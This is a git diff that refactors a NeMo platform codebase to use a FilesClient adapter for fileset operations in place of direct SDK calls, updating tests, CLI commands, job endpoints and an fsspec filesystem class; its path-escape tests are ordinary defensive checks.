variant.payload.digest first = await service.store_derived_metric(bundle, workspace="default") second = await service.store_derived_metric(variant, workspace="default") - assert first.root != second.root # ...but distinct derived metrics, not one silently reused + assert first.root != second.root assert len(service.entity_client.entities) == 2 -async def test_store_derived_metric_is_content_addressed_dedup(service: MetricService) -> None: +async def test_store_derived_metric_is_content_addressed_dedup(service: MetricService, fake_files) -> None: bundle = _bundle() first = await service.store_derived_metric(bundle, workspace="default") second = await service.store_derived_metric(bundle, workspace="default") - # Identical content collapses to one stored bundle (same ref, single entity, single fileset). assert first.root == second.root assert len(service.entity_client.entities) == 1 - assert len(service.sdk._store) == 1 + assert len(fake_files._store) == 1 async def test_list_excludes_derived_by_default(service: MetricService) -> None: @@ -248,6 +233,5 @@ async def _spy(entity_cls, *, filter_operation=None, **kwargs): await service.list_metrics("default") await service.list_metrics("default", include_derived=True) - # Default listing injects a filter (NOT derived); include_derived passes none through. assert captured[0] is not None assert captured[1] is None diff --git a/plugins/nemo-evaluator/tests/api/v2/test_metrics_routes.py b/plugins/nemo-evaluator/tests/api/v2/test_metrics_routes.py index 900a4b118a..4d273a7535 100644 --- a/plugins/nemo-evaluator/tests/api/v2/test_metrics_routes.py +++ b/plugins/nemo-evaluator/tests/api/v2/test_metrics_routes.py @@ -11,6 +11,7 @@ from __future__ import annotations from datetime import datetime, timezone +from unittest.mock import AsyncMock, patch import pytest from fastapi import FastAPI @@ -33,38 +34,32 @@ # ---- in-memory fakes ------------------------------------------------------- -class _FakeFile: - def __init__(self, file_ref: str) -> None: - self.file_ref = file_ref +class _FakeAsyncFilesClient: + """In-memory async files client that mimics AsyncFilesClient for tests.""" + def __init__(self) -> None: + self._store: dict[tuple[str, str], dict[str, bytes]] = {} -class _FakeFilesets: - def __init__(self, store: dict[tuple[str, str], dict[str, bytes]]) -> None: - self._store = store - - async def create(self, *, name, workspace, description=None, exist_ok=False): - self._store.setdefault((workspace, name), {}) - return object() + async def create_fileset(self, *, body, workspace=None, exist_ok=False): + self._store.setdefault((workspace, body.name), {}) + return AsyncMock(data=lambda: object()) - async def delete(self, name, *, workspace=None): + async def delete_fileset(self, *, name, workspace=None): self._store.pop((workspace, name), None) - return object() - + return AsyncMock(data=lambda: object()) -class _FakeFiles: - def __init__(self, store: dict[tuple[str, str], dict[str, bytes]]) -> None: - self._store = store - self.filesets = _FakeFilesets(store) + async def upload_file(self, *, path, content, workspace, name): + self._store.setdefault((workspace, name), {})[path] = bytes(content) + return AsyncMock(data=lambda: object()) - async def _upload_file(self, *, path, body, workspace, name): - self._store.setdefault((workspace, name), {})[path] = bytes(body) - return _FakeFile(f"{workspace}/{name}#{path}") + async def download_file(self, *, path, workspace, name): + class _Resp: + async def read(self): + return self._data - -class _FakeSDK: - def __init__(self) -> None: - self._store: dict[tuple[str, str], dict[str, bytes]] = {} - self.files = _FakeFiles(self._store) + resp = _Resp() + resp._data = self._store[(workspace, name)][path] + return resp class _FakeEntityClient: @@ -108,12 +103,12 @@ async def list(self, entity_cls, *, workspace, filter_operation=None, sort=None, @pytest.fixture def client() -> TestClient: app = FastAPI() - # Mirror production mounting: the router's paths are relative; the - # workspace-scoped prefix is applied via RouterSpec in the plugin service. app.include_router(metrics_routes.router, prefix="/v2/workspaces/{workspace}") - service = MetricService(_FakeEntityClient(), _FakeSDK()) + fake_files = _FakeAsyncFilesClient() + service = MetricService(_FakeEntityClient(), object()) app.dependency_overrides[get_metric_service] = lambda: service - return TestClient(app) + with patch("nemo_evaluator.metric_storage.client_from_platform", return_value=fake_files): + yield TestClient(app) def _create_body() -> dict: diff --git a/plugins/nemo-evaluator/tests/test_filesets.py b/plugins/nemo-evaluator/tests/test_filesets.py index cce276049d..83e290d769 100644 --- a/plugins/nemo-evaluator/tests/test_filesets.py +++ b/plugins/nemo-evaluator/tests/test_filesets.py @@ -7,6 +7,7 @@ from pathlib import Path from typing import cast +from unittest.mock import patch import pytest from nemo_evaluator.filesets import FilesetRef, download_dataset @@ -15,8 +16,8 @@ class _FakeFilesetFileSystem: - def __init__(self, sdk: object) -> None: - self._sdk = sdk + def __init__(self, *, client: object) -> None: + self._client = client async def _get_file(self, remote_path: str, local_path: str) -> None: raise AssertionError(f"unexpected download to {local_path} from {remote_path}") @@ -30,7 +31,10 @@ async def test_download_dataset_rejects_fragment_path_escape(mocker: MockerFixtu """Fileset fragments should not write outside the requested destination.""" mocker.patch("nemo_evaluator.filesets.FilesetFileSystem", _FakeFilesetFileSystem) - with pytest.raises(ValueError, match="Fileset path escapes destination"): + with ( + patch("nemo_evaluator.filesets.client_from_platform", return_value=object()), + pytest.raises(ValueError, match="Fileset path escapes destination"), + ): await download_dataset( cast(AsyncNeMoPlatform, object()), FilesetRef(root="default/helpsteer2#../../outside.jsonl"), @@ -43,7 +47,10 @@ async def test_download_dataset_rejects_absolute_root_path(mocker: MockerFixture """Fileset roots should not be able to become absolute local paths.""" mocker.patch("nemo_evaluator.filesets.FilesetFileSystem", _FakeFilesetFileSystem) - with pytest.raises(ValueError, match="Fileset path escapes destination"): + with ( + patch("nemo_evaluator.filesets.client_from_platform", return_value=object()), + pytest.raises(ValueError, match="Fileset path escapes destination"), + ): await download_dataset( cast(AsyncNeMoPlatform, object()), FilesetRef(root="/tmp/outside"), diff --git a/plugins/nemo-evaluator/tests/test_metric_refs.py b/plugins/nemo-evaluator/tests/test_metric_refs.py index 62130ae86c..20b82a4991 100644 --- a/plugins/nemo-evaluator/tests/test_metric_refs.py +++ b/plugins/nemo-evaluator/tests/test_metric_refs.py @@ -3,6 +3,8 @@ from __future__ import annotations +from unittest.mock import AsyncMock, patch + import pytest from nemo_evaluator.api.schemas import MetricInline from nemo_evaluator.entities import MetricBundleEntity @@ -22,11 +24,6 @@ # ---- in-memory fakes (mirror the storage round-trip) ----------------------- -class _FakeFile: - def __init__(self, file_ref: str) -> None: - self.file_ref = file_ref - - class _FakeResponse: def __init__(self, data: bytes) -> None: self._data = data @@ -35,38 +32,28 @@ async def read(self) -> bytes: return self._data -class _FakeFilesets: - def __init__(self, store) -> None: - self._store = store +class _FakeAsyncFilesClient: + """In-memory async files client that mimics AsyncFilesClient for tests.""" - async def create(self, *, name, workspace, description=None, exist_ok=False): - self._store.setdefault((workspace, name), {}) - return object() - - async def delete(self, name, *, workspace=None): - self._store.pop((workspace, name), None) - return object() + def __init__(self) -> None: + self._store: dict[tuple[str, str], dict[str, bytes]] = {} + async def create_fileset(self, *, body, workspace=None, exist_ok=False): + self._store.setdefault((workspace, body.name), {}) + return AsyncMock(data=lambda: object()) -class _FakeFiles: - def __init__(self, store) -> None: - self._store = store - self.filesets = _FakeFilesets(store) + async def delete_fileset(self, *, name, workspace=None): + self._store.pop((workspace, name), None) + return AsyncMock(data=lambda: object()) - async def _upload_file(self, *, path, body, workspace, name): - self._store.setdefault((workspace, name), {})[path] = bytes(body) - return _FakeFile(f"{workspace}/{name}#{path}") + async def upload_file(self, *, path, content, workspace, name): + self._store.setdefault((workspace, name), {})[path] = bytes(content) + return AsyncMock(data=lambda: object()) - async def _download_file(self, path, *, workspace, name): + async def download_file(self, *, path, workspace, name): return _FakeResponse(self._store[(workspace, name)][path]) -class _FakeSDK: - def __init__(self) -> None: - self._store: dict[tuple[str, str], dict[str, bytes]] = {} - self.files = _FakeFiles(self._store) - - class _FakeEntityClient: def __init__(self) -> None: self.entities: dict[tuple[str, str], MetricBundleEntity] = {} @@ -88,9 +75,10 @@ def _metric_inline() -> MetricInline: return MetricInline.model_validate_json(_bundle().model_dump_json()) -async def _stored(sdk: _FakeSDK, entity_client: _FakeEntityClient, workspace: str, name: str): +async def _stored(fake_client: _FakeAsyncFilesClient, entity_client: _FakeEntityClient, workspace: str, name: str): bundle = _bundle() - ref = await store_bundle(sdk, workspace, name, bundle) + with patch("nemo_evaluator.metric_storage.client_from_platform", return_value=fake_client): + ref = await store_bundle(object(), workspace, name, bundle) entity_client.entities[(workspace, name)] = MetricBundleEntity( name=name, workspace=workspace, @@ -116,7 +104,6 @@ def test_parse_metric_ref_bare_name_uses_default_workspace() -> None: @pytest.mark.parametrize("ref", ["", "ws/", "/name", "ws/a/b", "bad name"]) def test_metric_ref_field_rejects_malformed(ref: str) -> None: - # Malformed refs are rejected by the MetricRef field pattern at validation time. with pytest.raises(ValidationError): MetricRef(root=ref) @@ -133,33 +120,35 @@ async def test_resolve_converts_inline_metric_to_runtime_bundle() -> None: async def test_resolve_loads_referenced_bundle() -> None: - sdk = _FakeSDK() + fake_client = _FakeAsyncFilesClient() entity_client = _FakeEntityClient() - stored = await _stored(sdk, entity_client, "default", "exact") + stored = await _stored(fake_client, entity_client, "default", "exact") - result = await resolve_metric_specs( - [MetricRef(root="default/exact")], - workspace="default", - entity_client=entity_client, - async_sdk=sdk, - ) + with patch("nemo_evaluator.metric_storage.client_from_platform", return_value=fake_client): + result = await resolve_metric_specs( + [MetricRef(root="default/exact")], + workspace="default", + entity_client=entity_client, + async_sdk=object(), + ) assert len(result) == 1 assert result[0].payload.digest == stored.payload.digest async def test_resolve_mixes_refs_and_inline_preserving_order() -> None: - sdk = _FakeSDK() + fake_client = _FakeAsyncFilesClient() entity_client = _FakeEntityClient() - await _stored(sdk, entity_client, "default", "exact") + await _stored(fake_client, entity_client, "default", "exact") inline = _metric_inline() - result = await resolve_metric_specs( - [MetricRef(root="exact"), inline], - workspace="default", - entity_client=entity_client, - async_sdk=sdk, - ) + with patch("nemo_evaluator.metric_storage.client_from_platform", return_value=fake_client): + result = await resolve_metric_specs( + [MetricRef(root="exact"), inline], + workspace="default", + entity_client=entity_client, + async_sdk=object(), + ) assert len(result) == 2 assert result[1].payload.digest == inline.payload.digest @@ -181,7 +170,7 @@ async def test_resolve_missing_metric_raises_clear_error() -> None: [MetricRef(root="default/no-such-metric")], workspace="default", entity_client=_FakeEntityClient(), - async_sdk=_FakeSDK(), + async_sdk=object(), ) @@ -191,7 +180,7 @@ async def test_resolve_ref_without_entity_client_raises() -> None: [MetricRef(root="default/exact")], workspace="default", entity_client=None, - async_sdk=_FakeSDK(), + async_sdk=object(), ) diff --git a/plugins/nemo-evaluator/tests/test_metric_storage.py b/plugins/nemo-evaluator/tests/test_metric_storage.py index 668120c295..33d3734cdc 100644 --- a/plugins/nemo-evaluator/tests/test_metric_storage.py +++ b/plugins/nemo-evaluator/tests/test_metric_storage.py @@ -3,6 +3,8 @@ from __future__ import annotations +from unittest.mock import AsyncMock, patch + import pytest from nemo_evaluator.metric_storage import ( BUNDLE_FILENAME, @@ -18,11 +20,6 @@ from nemo_evaluator_sdk.metrics.exact_match import ExactMatchMetric -class _FakeFile: - def __init__(self, file_ref: str) -> None: - self.file_ref = file_ref - - class _FakeResponse: def __init__(self, data: bytes) -> None: self._data = data @@ -31,38 +28,28 @@ async def read(self) -> bytes: return self._data -class _FakeFilesets: - def __init__(self, store: dict[tuple[str, str], dict[str, bytes]]) -> None: - self._store = store - - async def create(self, *, name, workspace, description=None, exist_ok=False): - self._store.setdefault((workspace, name), {}) - return object() +class _FakeAsyncFilesClient: + """In-memory async files client that mimics AsyncFilesClient for tests.""" - async def delete(self, name, *, workspace=None): - self._store.pop((workspace, name), None) - return object() + def __init__(self) -> None: + self._store: dict[tuple[str, str], dict[str, bytes]] = {} + async def create_fileset(self, *, body, workspace=None, exist_ok=False): + self._store.setdefault((workspace, body.name), {}) + return AsyncMock(data=lambda: object()) -class _FakeFiles: - def __init__(self, store: dict[tuple[str, str], dict[str, bytes]]) -> None: - self._store = store - self.filesets = _FakeFilesets(store) + async def delete_fileset(self, *, name, workspace=None): + self._store.pop((workspace, name), None) + return AsyncMock(data=lambda: object()) - async def _upload_file(self, *, path, body, workspace, name): - self._store.setdefault((workspace, name), {})[path] = bytes(body) - return _FakeFile(f"{workspace}/{name}#{path}") + async def upload_file(self, *, path, content, workspace, name): + self._store.setdefault((workspace, name), {})[path] = bytes(content) + return AsyncMock(data=lambda: object()) - async def _download_file(self, path, *, workspace, name): + async def download_file(self, *, path, workspace, name): return _FakeResponse(self._store[(workspace, name)][path]) -class _FakeSDK: - def __init__(self) -> None: - self._store: dict[tuple[str, str], dict[str, bytes]] = {} - self.files = _FakeFiles(self._store) - - def _sample_bundle(): metric = ExactMatchMetric(reference="{{item.expected}}", candidate="{{item.output}}") return bundle_metric(metric, CloudpickleMetricBundlePackager()) @@ -83,83 +70,93 @@ def test_parse_bundle_ref_rejects_malformed(ref: str) -> None: async def test_store_returns_unique_per_metric_ref() -> None: - sdk = _FakeSDK() + fake_client = _FakeAsyncFilesClient() bundle = _sample_bundle() - ref1 = await store_bundle(sdk, "default", "my-metric", bundle) - ref2 = await store_bundle(sdk, "default", "my-metric", bundle) + with patch("nemo_evaluator.metric_storage.client_from_platform", return_value=fake_client): + ref1 = await store_bundle(object(), "default", "my-metric", bundle) + ref2 = await store_bundle(object(), "default", "my-metric", bundle) assert ref1.startswith("default/metric-bundle.") assert ref1.endswith(f"#{BUNDLE_FILENAME}") - # Each upload lands in its own fileset, so a rollback can't clobber another. assert ref1 != ref2 async def test_store_fileset_name_stays_within_limit_for_long_metric_name() -> None: - sdk = _FakeSDK() + fake_client = _FakeAsyncFilesClient() bundle = _sample_bundle() - long_name = "m" * 255 # MAX_NAME_LENGTH + long_name = "m" * 255 - ref = await store_bundle(sdk, "default", long_name, bundle) + with patch("nemo_evaluator.metric_storage.client_from_platform", return_value=fake_client): + ref = await store_bundle(object(), "default", long_name, bundle) _, fileset, _ = parse_bundle_ref(ref) - # The Files service caps fileset names at 255 chars. assert len(fileset) <= 255 async def test_store_cleans_up_fileset_on_upload_failure() -> None: - sdk = _FakeSDK() + fake_client = _FakeAsyncFilesClient() bundle = _sample_bundle() - async def _boom(*args, **kwargs): + async def _boom(*, path, content, workspace, name): raise RuntimeError("network blip during upload") - sdk.files._upload_file = _boom + fake_client.upload_file = _boom - with pytest.raises(MetricBundleStorageError): - await store_bundle(sdk, "default", "my-metric", bundle) - # The fileset created just before the failed upload must not be left orphaned. - assert [key for key in sdk._store if key[1].startswith(FILESET_PREFIX)] == [] + with ( + patch("nemo_evaluator.metric_storage.client_from_platform", return_value=fake_client), + pytest.raises(MetricBundleStorageError), + ): + await store_bundle(object(), "default", "my-metric", bundle) + + assert [key for key in fake_client._store if key[1].startswith(FILESET_PREFIX)] == [] async def test_store_then_load_round_trips_bundle() -> None: - sdk = _FakeSDK() + fake_client = _FakeAsyncFilesClient() bundle = _sample_bundle() - ref = await store_bundle(sdk, "default", "my-metric", bundle) + with patch("nemo_evaluator.metric_storage.client_from_platform", return_value=fake_client): + ref = await store_bundle(object(), "default", "my-metric", bundle) + loaded = await load_bundle(object(), ref, expected_digest=bundle.payload.digest) - loaded = await load_bundle(sdk, ref, expected_digest=bundle.payload.digest) assert loaded.metric_type == bundle.metric_type assert loaded.payload.digest == bundle.payload.digest async def test_load_rejects_digest_mismatch() -> None: - sdk = _FakeSDK() + fake_client = _FakeAsyncFilesClient() bundle = _sample_bundle() - ref = await store_bundle(sdk, "default", "my-metric", bundle) - with pytest.raises(MetricBundleStorageError, match="digest mismatch"): - await load_bundle(sdk, ref, expected_digest="deadbeef") + with ( + patch("nemo_evaluator.metric_storage.client_from_platform", return_value=fake_client), + pytest.raises(MetricBundleStorageError, match="digest mismatch"), + ): + ref = await store_bundle(object(), "default", "my-metric", bundle) + await load_bundle(object(), ref, expected_digest="deadbeef") async def test_load_rejects_corrupt_bundle() -> None: - sdk = _FakeSDK() - # Stored bytes that aren't a valid serialized MetricBundle. - sdk._store[("default", "metric-bundle.deadbeef")] = {"bundle.json": b"not a bundle"} + fake_client = _FakeAsyncFilesClient() + fake_client._store[("default", "metric-bundle.deadbeef")] = {"bundle.json": b"not a bundle"} - with pytest.raises(MetricBundleStorageError, match="corrupt or unreadable"): - await load_bundle(sdk, "default/metric-bundle.deadbeef#bundle.json") + with ( + patch("nemo_evaluator.metric_storage.client_from_platform", return_value=fake_client), + pytest.raises(MetricBundleStorageError, match="corrupt or unreadable"), + ): + await load_bundle(object(), "default/metric-bundle.deadbeef#bundle.json") async def test_delete_by_ref_removes_only_that_fileset() -> None: - sdk = _FakeSDK() + fake_client = _FakeAsyncFilesClient() bundle = _sample_bundle() - ref1 = await store_bundle(sdk, "default", "my-metric", bundle) - ref2 = await store_bundle(sdk, "default", "my-metric", bundle) - await delete_bundle_by_ref(sdk, ref1) + with patch("nemo_evaluator.metric_storage.client_from_platform", return_value=fake_client): + ref1 = await store_bundle(object(), "default", "my-metric", bundle) + ref2 = await store_bundle(object(), "default", "my-metric", bundle) + await delete_bundle_by_ref(object(), ref1) _, fileset1, _ = parse_bundle_ref(ref1) _, fileset2, _ = parse_bundle_ref(ref2) - assert ("default", fileset1) not in sdk._store - assert ("default", fileset2) in sdk._store + assert ("default", fileset1) not in fake_client._store + assert ("default", fileset2) in fake_client._store diff --git a/plugins/nemo-safe-synthesizer/scripts/setup_model_filesets.py b/plugins/nemo-safe-synthesizer/scripts/setup_model_filesets.py index d888862b80..0dc4495df6 100644 --- a/plugins/nemo-safe-synthesizer/scripts/setup_model_filesets.py +++ b/plugins/nemo-safe-synthesizer/scripts/setup_model_filesets.py @@ -21,7 +21,12 @@ import os import sys -from nemo_platform import APIStatusError, ConflictError, NeMoPlatform, NotFoundError +from nemo_platform import NeMoPlatform +from nemo_platform_plugin.client.adapter import client_from_platform +from nemo_platform_plugin.client.errors import ConflictError, NemoHTTPError, NotFoundError +from nemo_platform_plugin.files.client import FilesClient +from nemo_platform_plugin.files.storage_config import HuggingfaceStorageConfig +from nemo_platform_plugin.files.types import CreateFilesetRequest logging.basicConfig(level=logging.INFO, format="%(levelname)s: %(message)s") logger = logging.getLogger(__name__) @@ -87,6 +92,7 @@ def create_filesets( Returns: List of created fileset names """ + files = client_from_platform(sdk, FilesClient) created = [] for fileset_config in MODEL_FILESETS: name = fileset_config["name"] @@ -99,7 +105,7 @@ def create_filesets( continue try: - sdk.files.filesets.retrieve(name=name, workspace=workspace) + files.get_fileset(name=name, workspace=workspace) logger.info("Fileset already exists: %s", full_name) created.append(name) continue @@ -107,19 +113,22 @@ def create_filesets( logger.debug("Fileset does not exist yet: %s", full_name) try: - sdk.files.filesets.create( + storage = HuggingfaceStorageConfig.model_validate(fileset_config["storage"]) + files.create_fileset( workspace=workspace, - name=name, - description=fileset_config.get("description", ""), - purpose="generic", - storage=fileset_config["storage"], + body=CreateFilesetRequest( + name=name, + description=fileset_config.get("description", ""), + purpose="generic", + storage=storage, + ), ) logger.info("Created fileset: %s", full_name) created.append(name) except ConflictError: logger.info("Fileset already exists: %s", full_name) created.append(name) - except APIStatusError as e: + except NemoHTTPError as e: logger.error("Failed to create fileset %s: %s", full_name, e) except ValueError as e: logger.error("Invalid fileset config for %s: %s", full_name, e) diff --git a/plugins/nemo-safe-synthesizer/src/nemo_safe_synthesizer_plugin/api/v2/jobs/endpoints.py b/plugins/nemo-safe-synthesizer/src/nemo_safe_synthesizer_plugin/api/v2/jobs/endpoints.py index d6422961d0..aaa9464c03 100644 --- a/plugins/nemo-safe-synthesizer/src/nemo_safe_synthesizer_plugin/api/v2/jobs/endpoints.py +++ b/plugins/nemo-safe-synthesizer/src/nemo_safe_synthesizer_plugin/api/v2/jobs/endpoints.py @@ -14,7 +14,11 @@ from nemo_platform import AsyncNeMoPlatform, NotFoundError, PermissionDeniedError from nemo_platform.filesets import FilesetPathError, parse_fileset_ref from nemo_platform_plugin.authz import AuthzScope +from nemo_platform_plugin.client.adapter import client_from_platform +from nemo_platform_plugin.client.errors import NotFoundError as FilesNotFoundError +from nemo_platform_plugin.client.errors import PermissionDeniedError as FilesPermissionDeniedError from nemo_platform_plugin.entities import EntityClient +from nemo_platform_plugin.files.client import AsyncFilesClient from nemo_platform_plugin.jobs.api_factory import ( ContainerSpec, EnvironmentVariable, @@ -116,13 +120,14 @@ async def job_config_compiler( ds_workspace, fileset_name, _ = parse_fileset_ref(transformed_spec.data_source, workspace_fallback=workspace) except FilesetPathError as e: raise PlatformJobCompilationError(f"Invalid data_source format: {transformed_spec.data_source!r}") from e + files = client_from_platform(sdk, AsyncFilesClient) try: - await sdk.files.filesets.retrieve(name=fileset_name, workspace=ds_workspace) - except NotFoundError as e: + await files.get_fileset(name=fileset_name, workspace=ds_workspace) + except FilesNotFoundError as e: raise PlatformJobCompilationError( f"Could not find fileset {fileset_name!r} in workspace {ds_workspace!r}" ) from e - except PermissionDeniedError as e: + except FilesPermissionDeniedError as e: raise PermissionError(f"Access denied to fileset {fileset_name!r} in workspace {ds_workspace!r}") from e environment = [ diff --git a/plugins/nemo-safe-synthesizer/tests/unit/test_jobs.py b/plugins/nemo-safe-synthesizer/tests/unit/test_jobs.py index 446aee4637..d55c0bd482 100644 --- a/plugins/nemo-safe-synthesizer/tests/unit/test_jobs.py +++ b/plugins/nemo-safe-synthesizer/tests/unit/test_jobs.py @@ -1,10 +1,12 @@ # SPDX-FileCopyrightText: Copyright (c) 2025-2026 NVIDIA CORPORATION & AFFILIATES. All rights reserved. # SPDX-License-Identifier: Apache-2.0 -from unittest.mock import AsyncMock, MagicMock +from unittest.mock import AsyncMock, MagicMock, patch import pytest -from nemo_platform import NotFoundError, PermissionDeniedError +from nemo_platform import NotFoundError +from nemo_platform_plugin.client.errors import NotFoundError as FilesNotFoundError +from nemo_platform_plugin.client.errors import PermissionDeniedError as FilesPermissionDeniedError from nemo_platform_plugin.jobs.exceptions import PlatformJobCompilationError from nemo_safe_synthesizer.config.replace_pii import ClassifyConfig, Globals, PiiReplacerConfig, StepDefinition from nemo_safe_synthesizer_plugin.api.v2.jobs import endpoints @@ -18,9 +20,15 @@ @pytest.fixture -def mock_sdk(): +def mock_files_client(): + mock_client = MagicMock() + mock_client.get_fileset = AsyncMock() + return mock_client + + +@pytest.fixture +def mock_sdk(mock_files_client): sdk = MagicMock() - sdk.files.filesets.retrieve = AsyncMock() sdk.inference.providers.retrieve = AsyncMock() sdk.models.get_provider_route_openai_url = MagicMock( return_value="http://nmp-host/apis/inference-gateway/v2/workspaces/default/provider/my-nim/-/v1" @@ -28,6 +36,15 @@ def mock_sdk(): return sdk +@pytest.fixture(autouse=True) +def _patch_client_from_platform(mock_files_client): + with patch( + "nemo_safe_synthesizer_plugin.api.v2.jobs.endpoints.client_from_platform", + return_value=mock_files_client, + ): + yield + + @pytest.fixture(autouse=True) def mock_runtime_command(monkeypatch): monkeypatch.setattr(endpoints, "runtime_task_command", lambda _config: ["/runtime/bin/python", "-m", TASK_MODULE]) @@ -58,29 +75,33 @@ async def _compile(spec, mock_sdk): @pytest.mark.asyncio -async def test_job_config_compiler_validates_data_source(mock_sdk): +async def test_job_config_compiler_validates_data_source(mock_sdk, mock_files_client): spec = _make_spec(data_source="my-workspace/my-fileset#data.csv") await _compile(spec, mock_sdk) - mock_sdk.files.filesets.retrieve.assert_awaited_once_with(name="my-fileset", workspace="my-workspace") + mock_files_client.get_fileset.assert_awaited_once_with(name="my-fileset", workspace="my-workspace") @pytest.mark.asyncio -async def test_job_config_compiler_data_source_not_found(mock_sdk): - mock_sdk.files.filesets.retrieve.side_effect = NotFoundError( - message="not found", response=MagicMock(status_code=404), body=None - ) +async def test_job_config_compiler_data_source_not_found(mock_sdk, mock_files_client): + mock_response = MagicMock() + mock_response.status_code = 404 + mock_response.json.return_value = {"detail": "not found"} + mock_response.text = "not found" + mock_files_client.get_fileset.side_effect = FilesNotFoundError(mock_response) with pytest.raises(PlatformJobCompilationError, match="Could not find fileset"): await _compile(_make_spec(), mock_sdk) @pytest.mark.asyncio -async def test_job_config_compiler_data_source_permission_denied(mock_sdk): - mock_sdk.files.filesets.retrieve.side_effect = PermissionDeniedError( - message="denied", response=MagicMock(status_code=403), body=None - ) +async def test_job_config_compiler_data_source_permission_denied(mock_sdk, mock_files_client): + mock_response = MagicMock() + mock_response.status_code = 403 + mock_response.json.return_value = {"detail": "denied"} + mock_response.text = "denied" + mock_files_client.get_fileset.side_effect = FilesPermissionDeniedError(mock_response) with pytest.raises(PermissionError, match="Access denied to fileset"): await _compile(_make_spec(), mock_sdk) diff --git a/sdk/python/nemo-platform/src/nemo_platform/cli/commands/api/files/__init__.py b/sdk/python/nemo-platform/src/nemo_platform/cli/commands/api/files/__init__.py index 1ed357681f..ca2b4d59f4 100644 --- a/sdk/python/nemo-platform/src/nemo_platform/cli/commands/api/files/__init__.py +++ b/sdk/python/nemo-platform/src/nemo_platform/cli/commands/api/files/__init__.py @@ -15,6 +15,8 @@ from nemo_platform.cli.core.formatters import Column, check_output_columns_with_format, format_output from nemo_platform.cli.core.help_formatter import collect_warnings, create_typer_app from nemo_platform.cli.core.types import ListOutputFormatOption, NoTruncateOption, OutputColumnsOption +from nemo_platform_plugin.client.adapter import client_from_platform +from nemo_platform_plugin.files.client import FilesClient app = create_typer_app(name="files", help="Manage files") @@ -60,6 +62,7 @@ def upload_files( raw_local_path: str = ctx.params.get("local_path") client = state.get_client() + files = client_from_platform(client, FilesClient) if workspace is None: workspace = client._get_workspace_path_param() @@ -68,7 +71,7 @@ def upload_files( with RichProgressCallback(description="Uploading") as callback: if fileset is not None: # Validate fileset exists before uploading - client.files.filesets.retrieve(fileset, workspace=workspace) + files.get_fileset(name=fileset, workspace=workspace) client.files.upload( local_path=raw_local_path, remote_path=remote_path, diff --git a/sdk/python/nemo-platform/src/nemo_platform/cli/commands/api/files/filesets.py b/sdk/python/nemo-platform/src/nemo_platform/cli/commands/api/files/filesets.py index b07046d678..baf2f1332f 100644 --- a/sdk/python/nemo-platform/src/nemo_platform/cli/commands/api/files/filesets.py +++ b/sdk/python/nemo-platform/src/nemo_platform/cli/commands/api/files/filesets.py @@ -22,6 +22,9 @@ NoTruncateOption, OutputColumnsOption, ) +from nemo_platform_plugin.client.adapter import client_from_platform +from nemo_platform_plugin.files.client import FilesClient +from nemo_platform_plugin.files.types import CreateFilesetRequest, UpdateFilesetRequest app = create_typer_app(name="filesets", help="Manage filesets") @@ -139,7 +142,12 @@ def create_filesets( return client = state.get_client() - result = client.files.filesets.create(**all_kwargs) + files = client_from_platform(client, FilesClient) + exist_ok_val = all_kwargs.pop("exist_ok", None) + result = files.create_fileset( + body=CreateFilesetRequest(**all_kwargs), + **({"exist_ok": exist_ok_val} if exist_ok_val is not None else {}), + ).data() format_output( result, @@ -167,11 +175,12 @@ def delete_filesets( files.""" state: CLIContext = ctx.obj client = state.get_client() + files = client_from_platform(client, FilesClient) kwargs = build_kwargs( workspace=workspace, ) - client.files.filesets.delete(name, **kwargs) + files.delete_fileset(name=name, **kwargs) typer.echo("✓ Deleted successfully") @@ -247,17 +256,18 @@ def list_filesets( return client = state.get_client() + files = client_from_platform(client, FilesClient) path_args = () pagination_type = PaginationType.PAGE_NUMBER if all_pages: items = fetch_all_pages( - client.files.filesets.list, + files.list_filesets, path_args=path_args, body_args=kwargs, pagination_type=pagination_type, ) else: - items = client.files.filesets.list(*path_args, **kwargs) + items = files.list_filesets(*path_args, **kwargs) format_output( items, @@ -293,7 +303,8 @@ def retrieve_filesets( return client = state.get_client() - result = client.files.filesets.retrieve(name, **kwargs) + files = client_from_platform(client, FilesClient) + result = files.get_fileset(name=name, **kwargs).data() format_output( result, @@ -375,7 +386,14 @@ def update_filesets( return client = state.get_client() - result = client.files.filesets.update(**all_kwargs) + files = client_from_platform(client, FilesClient) + name_val = all_kwargs.pop("name") + workspace_val = all_kwargs.pop("workspace", None) + result = files.update_fileset( + name=name_val, + **({"workspace": workspace_val} if workspace_val is not None else {}), + body=UpdateFilesetRequest(**all_kwargs), + ).data() format_output( result, diff --git a/sdk/python/nemo-platform/src/nemo_platform/filesets/filesystem/filesystem.py b/sdk/python/nemo-platform/src/nemo_platform/filesets/filesystem/filesystem.py index 27f01cc2ce..56230e0e53 100644 --- a/sdk/python/nemo-platform/src/nemo_platform/filesets/filesystem/filesystem.py +++ b/sdk/python/nemo-platform/src/nemo_platform/filesets/filesystem/filesystem.py @@ -17,7 +17,6 @@ from fsspec.asyn import AbstractAsyncStreamedFile, AsyncFileSystem, _get_batch_size from fsspec.callbacks import DEFAULT_CALLBACK, Callback from fsspec.spec import AbstractBufferedFile -from nemo_platform import AsyncNeMoPlatform, NeMoPlatform from nemo_platform_plugin.files.client import AsyncFilesClient, FilesClient from nemo_platform_plugin.files.types import FilesetFileOutput, ListFilesQueryParams @@ -350,26 +349,11 @@ def register_fsspec(cls) -> None: def __init__( self, *, - client: FilesClient | AsyncFilesClient | None = None, - sdk: NeMoPlatform | AsyncNeMoPlatform | None = None, + client: FilesClient | AsyncFilesClient, batch_size: int | None = None, blocksize: int | None = None, **kwargs, ): - if client is None and sdk is None: - raise TypeError("Either 'client' or 'sdk' must be provided") - - # Normalize: convert sdk to a FilesClient so there's one code path. - # AsyncNeMoPlatform → AsyncFilesClient (already async, _ensure_async is a no-op). - # NeMoPlatform → FilesClient (sync, _ensure_async converts to async). - if sdk is not None: - from nemo_platform_plugin.client.adapter import client_from_platform - - if isinstance(sdk, AsyncNeMoPlatform): - client = client_from_platform(sdk, AsyncFilesClient) - else: - client = client_from_platform(sdk, FilesClient) - async_client = self._ensure_async(client) is_async = isinstance(client, AsyncFilesClient) @@ -384,22 +368,14 @@ def __init__( @staticmethod def _ensure_async(client: FilesClient | AsyncFilesClient) -> AsyncFilesClient: - """Ensure we have an AsyncFilesClient, converting from sync if needed. - - Preserves subclass behavior: if the sync client has ``_async_cls`` - (e.g. a remapping subclass), that class is used for the async client. - """ + """Ensure we have an AsyncFilesClient, converting from sync if needed.""" if isinstance(client, AsyncFilesClient): return client import httpx - # Use _async_cls if the sync client defines one (e.g. _RemappingFilesClient - # → _RemappingAsyncFilesClient), otherwise plain AsyncFilesClient. - async_cls = getattr(client, 